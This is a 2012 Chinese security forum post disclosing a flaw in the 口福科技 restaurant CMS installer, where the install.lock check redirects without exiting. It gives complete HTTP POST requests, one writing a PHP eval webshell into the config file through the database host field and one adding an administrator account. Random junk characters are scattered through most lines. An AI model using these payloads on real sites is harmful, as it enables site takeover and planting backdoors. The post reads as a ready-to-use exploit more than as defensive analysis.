找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2057|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
0 s- O5 y1 X+ a  W* K8 _* f) i  |8 b9 Q; c+ m# `, P+ K. w
<?php
: n) @4 c* O1 z$ ^if(file_exists("../install.lock"))
+ ]% P( c) k$ Z! Y$ q7 n% s  X{! y5 l3 h* ?1 {3 H! `! p2 M8 v
    header("Location: ../");//没有退出% V% j. O8 b; {% G0 f7 M" n
}
- o) K: `  Y$ H) @+ r- X8 t' ]               
. o9 \. p: F9 d. v# K) c//echo 'tst';exit;
# f5 F7 F$ I* }9 G( x: Vrequire_once("init.php");, A& s6 m7 ?; y
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
( p1 k" i5 n1 i5 p{
9 P( B5 k( {) p: H+ |可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。1 G; Y) h- F6 @! c/ a: `

6 ]1 M3 e; m# S) ]% E; m* U1、getshell(很危险)" f( [* P3 Y; @6 w) n
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)$ p) P9 ^8 i& n: |, |- m* W
{
- L  H/ S  N6 S4 x  }. E! _$smarty->assign("step",1);
% Y  J8 h! |* R9 i* K* c  G$smarty->display("index.html");
7 \0 M3 B* P8 }5 N}elseif($_REQUEST['step']==2)
) j+ j5 i) E" M+ J6 h- i% M7 ^{1 t# D. w# Q4 b/ t" ~
    $mysql_host=trim($_POST['mysql_host']);' |) h  s" M; j% o5 A
    $mysql_user=trim($_POST['mysql_user']);
& L5 v" s9 _5 i    $mysql_pwd=trim($_POST['mysql_pwd']);% I/ d, ~1 l0 L( Q
    $mysql_db=trim($_POST['mysql_db']);* [4 h: j7 A$ r3 p! ^1 H
    $tblpre=trim($_POST['tblpre']);
7 |) i4 D7 O6 e4 {) x; b1 d2 C2 k    $domain==trim($_POST['domain']);! \% G( R/ }9 p. V- j9 r# c
    $str="<?php \r\n";
0 m( S. _, t; q% b. d* ^+ O    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";) W; [) {3 i& ^6 n
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";# b$ x5 }' O2 N0 D$ k! i; _
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
5 y: a0 _' \* _& z    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";  u; I5 L& C; n& `( L
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
) z' B4 U: t( b( R: q    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";: M" G+ p1 @# G* `1 Z, U- ^+ o
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";( [) T! c8 F3 y3 |* n
    $str.='define("SKINS","default");'."\r\n";
( u; M. z1 p% e& z0 H    $str.='?>';
2 G; ~7 U: P- f$ p    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
& Y9 l1 d8 }% j/ i5 j0 `: a上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马/ H6 R% Y1 E' y& c5 P- `5 Z
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
) x  n7 v/ z- d7 KHost: 192.168.80.129
8 v( o9 f, A8 j1 d& D5 \& xUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0& \9 I3 Z* s, |  h9 o( ?  k5 D9 y
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.89 G+ l" u1 r" A2 m  `: ^" [9 U
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
6 y  \9 n$ a; n% \+ s. b+ F2 GAccept-Encoding: gzip, deflate
1 P0 J$ \  w; ~6 v. p7 X  |) ^5 dReferer: http://192.168.80.129/canting/install/index.php?step=1; v1 \2 X6 s$ v; A6 m) F
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
+ W9 `8 X9 B: _' i+ q% n% eContent-Type: application/x-www-form-urlencoded) s* T5 V5 E5 O" G  X+ C* q
Content-Length: 126! C/ l4 z/ Y9 [( ~* U, J& f$ f
         
3 }( w3 [* o$ Lmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD$ |: W* d* k) D0 `2 x  w
但是这个方法很危险,将导致网站无法运行。8 q7 B: r* ~# j- k
5 T4 Z' p! I- [, O, W
2、直接添加管理员& s  B+ r) m. S* o% y9 l- l/ n: _5 l

. N( ^0 w  V# @8 @2 k" t- helseif($_REQUEST['step']==5)" f7 t6 e3 K$ c) m3 l0 |
{
& s- r3 |) U& R& P    if($_POST)
) i5 {7 l: ^0 n2 V    {   require_once("../config/config.inc.php");7 i' M3 T( r& m- l3 ~( J1 n2 s
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);9 m( z) \5 k0 N3 X: g
        mysql_select_db(MYSQL_DB,$link);# P8 c/ Y* i" z; T. W
        mysql_query("SET NAMES ".MYSQL_CHARSET );
9 J, n  Q# I- L1 I         mysql_query("SET sql_mode=''");$ c& W  u4 Z; }! i8 B; K% F& S
, x4 Y. {0 o; u/ D
$adminname=trim($_POST['adminname']);( q* J3 n; f/ e6 c
        $pwd1=trim($_POST['pwd1']);
$ v$ W; _+ c5 l8 h  G1 s8 P& W  t9 ?        $pwd2=trim($_POST['pwd2']);" q+ V/ A" f# P, l% R! w, t; `5 J
        if(empty($adminname))
7 }0 d9 d9 j6 o        {
! ?5 ~* w. a7 g+ a- k
$ H9 V) s4 D9 O: V: A* ]0 F  v4 _ echo "<script>alert('管理员不能为空');history.go(-1);</script>";
: G0 p: L: U$ \( ]4 e$ [# Y            exit();
9 ]; i* {( B" a* E" B9 e4 \        }7 G( L# o% O# n; ~) n3 k
        if(($pwd1!=$pwd2) or empty($pwd1))# ^3 d; `1 L' s5 T
        {9 k8 G& q- ]& i; o% a
            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
) ^# B/ X) D( e7 c  m' s1 g        }& @2 Y- \$ |- o! e/ D
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员& q# A+ J- ?4 d( w4 g! `% M- T
    }
0 L; w  R. G- R这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:3 M% K0 M) v- G* }5 A8 y( p. u# s
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
4 C4 ^% m$ m( UHost: 192.168.80.129; @/ n1 B$ g' M- H% B% q
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
1 w( \; u2 {7 F( oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
; U; V; J% e- |6 O+ Z0 s5 BAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
! x0 \* T+ i. f7 W" \' n" YAccept-Encoding: gzip, deflate
" s: {8 [; i; b9 I- EReferer: http://www.2cto.com /canting/install/index.php?step=1+ V5 s3 @+ X3 G$ l- a
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
( H8 d- `/ A3 Z. H5 n  @Content-Type: application/x-www-form-urlencoded
+ t7 T5 t) ?- jContent-Length: 46/ r6 {. D1 C3 ~  `4 m" A- v
      & q) Q" ~  D* q3 x) w. ?, _. n
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​2 c+ F* k' v( _5 E) V  G+ e1 i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表